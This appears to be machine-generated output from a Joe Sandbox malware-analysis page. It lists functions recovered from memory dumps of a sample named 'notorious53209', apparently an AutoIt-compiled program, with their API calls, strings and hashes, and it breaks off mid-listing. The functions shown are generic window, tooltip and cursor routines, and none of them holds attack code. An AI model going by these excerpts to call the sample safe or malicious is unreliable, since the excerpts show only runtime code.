Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: e4ca3fe5e8bcf3e78413731e844db5b6405653cca3d75820b6e0f1a9baed7435
Instruction ID: 371f1e38234866ef96046d9d69c9fa0aebcee2f7ecd60f031c6a6da78d1e80ab
Opcode Fuzzy Hash: e4ca3fe5e8bcf3e78413731e844db5b6405653cca3d75820b6e0f1a9baed7435
Instruction Fuzzy Hash: 78E1B47092020AABDF20DF64CC88EFE7B7DEF05790F108156FA19A6190DB709A95DF60

Function 002B4B16 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 002B4C51
GetDesktopWindow.USER32 ref: 002B4C66
GetWindowRect.USER32(00000000), ref: 002B4C6D
GetWindowLongW.USER32(?,000000F0), ref: 002B4CCF
DestroyWindow.USER32(?), ref: 002B4CFB
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 002B4D24
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 002B4D42
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 002B4D68
SendMessageW.USER32(?,00000421,?,?), ref: 002B4D7D
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 002B4D90
IsWindowVisible.USER32(?), ref: 002B4DB0
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 002B4DCB
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 002B4DDF
GetWindowRect.USER32(?,?), ref: 002B4DF7
MonitorFromPoint.USER32(?,?,00000002), ref: 002B4E1D
GetMonitorInfoW.USER32(00000000,?), ref: 002B4E37
CopyRect.USER32(?,?), ref: 002B4E4E
SendMessageW.USER32(?,00000412,00000000), ref: 002B4EB9

Strings

(, xrefs: 002B4E2A
0, xrefs: 002B4BFC
tooltips_class32, xrefs: 002B4D1D

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 8a98caec31bbf6bb4ecc60688d61f411393f797ed9ef388bdc56b3138396cd1a
Instruction ID: ebe0177c1113b12a298a2ae143376c6eff047e2bc534d62b7f48cf0657b99c4f
Opcode Fuzzy Hash: 8a98caec31bbf6bb4ecc60688d61f411393f797ed9ef388bdc56b3138396cd1a
Instruction Fuzzy Hash: 46B1AE70624301AFDB44EF24C989B9ABBE4FF89740F008A1DF5999B2A2D770EC54CB51

Function 002327D9 Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 002328BC
GetSystemMetrics.USER32(00000007), ref: 002328C4
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 002328EF
GetSystemMetrics.USER32(00000008), ref: 002328F7
GetSystemMetrics.USER32(00000004), ref: 0023291C
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00232939
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00232949
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 0023297C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00232990
GetClientRect.USER32(00000000,000000FF), ref: 002329AE
GetStockObject.GDI32(00000011), ref: 002329CA
SendMessageW.USER32(00000000,00000030,00000000), ref: 002329D5

Part of subcall function 00232344: GetCursorPos.USER32(?), ref: 00232357
Part of subcall function 00232344: ScreenToClient.USER32(002F67B0,?), ref: 00232374
Part of subcall function 00232344: GetAsyncKeyState.USER32(00000001), ref: 00232399
Part of subcall function 00232344: GetAsyncKeyState.USER32(00000002), ref: 002323A7

SetTimer.USER32(00000000,00000000,00000028,00231256), ref: 002329FC

Strings

0066894dd2ba6c000000668955d433c0668945d6c745f000000000c745f800000000c745e400000000c745dc000000008d8d38feffff51e881d9ffffb930000000, xrefs: 0026C3D9
AutoIt v3 GUI, xrefs: 00232974

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: 0066894dd2ba6c000000668955d433c0668945d6c745f000000000c745f800000000c745e400000000c745dc000000008d8d38feffff51e881d9ffffb930000000$AutoIt v3 GUI
API String ID: 1458621304-776406380
Opcode ID: 9f2b9fb2f449eb70ccbe734a6d0d1eadafe52e8b432660791b292d19ddae3a63
Instruction ID: 66781456ca07ed23657e945bb8e1e48a4dc84de87ea67a4d4c886140f1f38ac3
Opcode Fuzzy Hash: 9f2b9fb2f449eb70ccbe734a6d0d1eadafe52e8b432660791b292d19ddae3a63
Instruction Fuzzy Hash: B9B16071A2020AEFDB14DF68DD49BAD7BB4FB08354F108229FA15E7290DB74A864CF50

Function 002946D6 Relevance: 33.4, APIs: 14, Strings: 5, Instructions: 179COMMON

Download Yara Rule

APIs

_wcscpy.LIBCMT ref: 0029473C
_wcscmp.LIBCMT ref: 00294747
_wcscat.LIBCMT ref: 0029475D
_wcsstr.LIBCMT ref: 00294768
738F1B51.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00294784
_wcscat.LIBCMT ref: 002947CD
_wcscat.LIBCMT ref: 002947D4
_wcsncpy.LIBCMT ref: 002947FF

Strings

%u.%u.%u.%u, xrefs: 00294862
StringFileInfo\, xrefs: 00294757
\VarFileInfo\Translation, xrefs: 0029477C
04090000, xrefs: 002947BA
DefaultLangCodepage, xrefs: 002947E7

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _wcscat$_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 3576275495-1459072770
Opcode ID: a4e175e13b0a8c7e10af88ba6f9fc95708f87b9bab2e4a31732210fbe733c811
Instruction ID: 4319f6c5582eba4e72eaa5fb850081c168053d493789fd40d23ecc2d7a8fbcfc
Opcode Fuzzy Hash: a4e175e13b0a8c7e10af88ba6f9fc95708f87b9bab2e4a31732210fbe733c811
Instruction Fuzzy Hash: CC414731930205BADB10BB649C47EBFB7ACEF42751F000166FD04F6182EB70A9359BA9

Function 002B4069 Relevance: 28.3, APIs: 3, Strings: 13, Instructions: 283windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 002B40F6
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 002B41B6

Strings

ISSELECTED, xrefs: 002B41C1
VIEWCHANGE, xrefs: 002B4375
GETTEXT, xrefs: 002B415F
SELECTINVERT, xrefs: 002B4286
DESELECT, xrefs: 002B42A4
GETSELECTEDCOUNT, xrefs: 002B4199
SELECT, xrefs: 002B4250
GETITEMCOUNT, xrefs: 002B4128
GETSELECTED, xrefs: 002B42E4
SELECTCLEAR, xrefs: 002B4235
GETSUBITEMCOUNT, xrefs: 002B4141
FINDITEM, xrefs: 002B4329
SELECTALL, xrefs: 002B421D

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 3974292440-719923060
Opcode ID: 32393a4110f4329422593b1776ff5aaf5125800112c017827d87f5e5d9a20cb6
Instruction ID: 83c7f26393c6fe3ad0da5012aa43fdec03e24994268c82cff24d0a9ee077c52b
Opcode Fuzzy Hash: 32393a4110f4329422593b1776ff5aaf5125800112c017827d87f5e5d9a20cb6
Instruction Fuzzy Hash: 94A19E702343029FCB14FF24C981AAAB3E5AF85354F144969B8A69B2D3DB70EC65CF41

Function 002A52F0 Relevance: 27.1, APIs: 18, Instructions: 124COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 002A5309
LoadCursorW.USER32(00000000,00007F8A), ref: 002A5314
LoadCursorW.USER32(00000000,00007F00), ref: 002A531F
LoadCursorW.USER32(00000000,00007F03), ref: 002A532A
LoadCursorW.USER32(00000000,00007F8B), ref: 002A5335
LoadCursorW.USER32(00000000,00007F01), ref: 002A5340
LoadCursorW.USER32(00000000,00007F81), ref: 002A534B
LoadCursorW.USER32(00000000,00007F88), ref: 002A5356
LoadCursorW.USER32(00000000,00007F80), ref: 002A5361
LoadCursorW.USER32(00000000,00007F86), ref: 002A536C
LoadCursorW.USER32(00000000,00007F83), ref: 002A5377
LoadCursorW.USER32(00000000,00007F85), ref: 002A5382
LoadCursorW.USER32(00000000,00007F82), ref: 002A538D
LoadCursorW.USER32(00000000,00007F84), ref: 002A5398
LoadCursorW.USER32(00000000,00007F04), ref: 002A53A3
LoadCursorW.USER32(00000000,00007F02), ref: 002A53AE
GetCursorInfo.USER32(?), ref: 002A53BE
GetLastError.KERNEL32(00000001,00000000), ref: 002A53E9

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: b7e9c54d206fced7cfa7f9eb854557593d0852ff3f7b42aca12dc3bab739b22c
Instruction ID: 74365b1f170b876272025b25c6aa5447e3db75a080bd5f29a0e35ae63cc48a1e
Opcode Fuzzy Hash: b7e9c54d206fced7cfa7f9eb854557593d0852ff3f7b42aca12dc3bab739b22c
Instruction Fuzzy Hash: E9417370E183296BDB109FBA8C4986FFFF8EF55B10B10452FA509E7291DAB89401CE51

Function 0028AA64 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 0028AAA5
__swprintf.LIBCMT ref: 0028AB46
_wcscmp.LIBCMT ref: 0028AB59
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 0028ABAE
_wcscmp.LIBCMT ref: 0028ABEA
GetClassNameW.USER32(?,?,00000400), ref: 0028AC21
GetDlgCtrlID.USER32(?), ref: 0028AC73
GetWindowRect.USER32(?,?), ref: 0028ACA9
GetParent.USER32(?), ref: 0028ACC7
ScreenToClient.USER32(00000000), ref: 0028ACCE
GetClassNameW.USER32(?,?,00000100), ref: 0028AD48
_wcscmp.LIBCMT ref: 0028AD5C
GetWindowTextW.USER32(?,?,00000400), ref: 0028AD82
_wcscmp.LIBCMT ref: 0028AD96

Part of subcall function 0025386C: _iswctype.LIBCMT ref: 00253874

Strings

%s%u, xrefs: 0028AB40

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: f5f365bd5af533696fb0630d81bbe484b93ad998a729a43408bc7d3559b26c09
Instruction ID: 09f5e5a02423edadfe5328b9c5158b6d86aadf901a420bce8bdb45b1d143db8c
Opcode Fuzzy Hash: f5f365bd5af533696fb0630d81bbe484b93ad998a729a43408bc7d3559b26c09
Instruction Fuzzy Hash: 27A1C275225307AFE714EF24C884BAAF7E8FF04355F00462AF999C2591DB30E965CB92

Function 0028B397 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 0028B3DB
_wcscmp.LIBCMT ref: 0028B3EC
GetWindowTextW.USER32(00000001,?,00000400), ref: 0028B414
CharUpperBuffW.USER32(?,00000000), ref: 0028B431
_wcscmp.LIBCMT ref: 0028B44F
_wcsstr.LIBCMT ref: 0028B460
GetClassNameW.USER32(00000018,?,00000400), ref: 0028B498
_wcscmp.LIBCMT ref: 0028B4A8
GetWindowTextW.USER32(00000002,?,00000400), ref: 0028B4CF
GetClassNameW.USER32(00000018,?,00000400), ref: 0028B518
_wcscmp.LIBCMT ref: 0028B528
GetClassNameW.USER32(00000010,?,00000400), ref: 0028B550
GetWindowRect.USER32(00000004,?), ref: 0028B5B9

Strings

@, xrefs: 0028B3BC
ThumbnailClass, xrefs: 0028B4A3, 0028B523

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: 9e556b2f1807ac7394387be9df8a17adb9963bdfa6607d5f0e2310c5b2639805
Instruction ID: 53f14fae01456bec2c3f9410a1c621596ea224cc240f696abe1a3d1a0ad494ee
Opcode Fuzzy Hash: 9e556b2f1807ac7394387be9df8a17adb9963bdfa6607d5f0e2310c5b2639805
Instruction Fuzzy Hash: D281C1750253069BDB06EF10C885FAABBE8EF44314F08856DFD858A0D2EB34DD69CB61

Function 0028B1E0 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0028B23F

Strings

[CLASS:, xrefs: 0028B28F
[ACTIVE, xrefs: 0028B22C
ACTIVE, xrefs: 0028B21A
REGEXP=, xrefs: 0028B254
[HANDLE:, xrefs: 0028B24B
ALL, xrefs: 0028B2D3
[LAST, xrefs: 0028B2EC
[REGEXPTITLE:, xrefs: 0028B267
HANDLE=, xrefs: 0028B238
LAST, xrefs: 0028B204
CLASSNAME=, xrefs: 0028B27C
[ALL, xrefs: 0028B2E5

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: 0fd8f6a371e0cc791445af3b5d0a9df9c978ed24c7214edde66acbeb2d617327
Instruction ID: 7cbd4f486568406d8bee5320b9b0b87a72871e267a923e7168d370a9c924f8d7
Opcode Fuzzy Hash: 0fd8f6a371e0cc791445af3b5d0a9df9c978ed24c7214edde66acbeb2d617327
Instruction Fuzzy Hash: BD3124B49B4246A6DF21FE61CC43EEEB7A89F21750FA0001AF805710D6EF616E38CA51

Function 0028C4C1 Relevance: 25.7, APIs: 17, Instructions: 169windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 0028C4D4
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 0028C4E6
SetWindowTextW.USER32(?,?), ref: 0028C4FD
GetDlgItem.USER32(?,000003EA), ref: 0028C512
SetWindowTextW.USER32(00000000,?), ref: 0028C518
GetDlgItem.USER32(?,000003E9), ref: 0028C528
SetWindowTextW.USER32(00000000,?), ref: 0028C52E
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 0028C54F
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 0028C569
GetWindowRect.USER32(?,?), ref: 0028C572
SetWindowTextW.USER32(?,?), ref: 0028C5DD
GetDesktopWindow.USER32 ref: 0028C5E3
GetWindowRect.USER32(00000000), ref: 0028C5EA
MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 0028C636
GetClientRect.USER32(?,?), ref: 0028C643
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 0028C668
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 0028C693

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: 6ce3a54497468b12d89d36ea7a89b0a6f13a1d2e5e715fc8e4993e0ed15540d8
Instruction ID: c54a519ef5a6e2c5c4fab1a2e39d60c03e7325424c8d98c9b25e33edcc852f9e
Opcode Fuzzy Hash: 6ce3a54497468b12d89d36ea7a89b0a6f13a1d2e5e715fc8e4993e0ed15540d8
Instruction Fuzzy Hash: 1B518274900709AFDB20EFA8DE89B6EBBF5FF04704F104629E692A25A0D774B954CF50

Function 002BA428 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002BA4C8
DestroyWindow.USER32(?), ref: 002BA542

Part of subcall function 00237D2C: _memmove.LIBCMT ref: 00237D66

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 002BA5BC
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 002BA5DE
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 002BA5F1
DestroyWindow.USER32(00000000), ref: 002BA613
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00230000,00000000), ref: 002BA64A
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 002BA663
GetDesktopWindow.USER32 ref: 002BA67C
GetWindowRect.USER32(00000000), ref: 002BA683
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 002BA69B
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 002BA6B3

Part of subcall function 002325DB: GetWindowLongW.USER32(?,000000EB), ref: 002325EC

Strings

0, xrefs: 002BA4DE
tooltips_class32, xrefs: 002BA5B5, 002BA643

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: 062133f0465b4e9b80f427d05e9a003bfc03de01b9e0ecdfe3b7a7fb89745ad6
Instruction ID: 244aed8adf882d56acc10ae1a8377896d139524cd8113aa42443cfe2cd22bb89
Opcode Fuzzy Hash: 062133f0465b4e9b80f427d05e9a003bfc03de01b9e0ecdfe3b7a7fb89745ad6
Instruction Fuzzy Hash: 7C71AEB1160206AFDB21CF28DC49FA677E9FB88380F48452DF995872A0D771E955CF12

Function 002B4619 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 002B46AB
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 002B46F6

Strings

EXPAND, xrefs: 002B47A8
GETTOTALCOUNT, xrefs: 002B46DD
COLLAPSE, xrefs: 002B473C
UNCHECK, xrefs: 002B48D2
SELECT, xrefs: 002B48A7
GETITEMCOUNT, xrefs: 002B47D8
CHECK, xrefs: 002B4716
EXISTS, xrefs: 002B475F
GETSELECTED, xrefs: 002B4806
GETTEXT, xrefs: 002B4849
ISCHECKED, xrefs: 002B4879

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
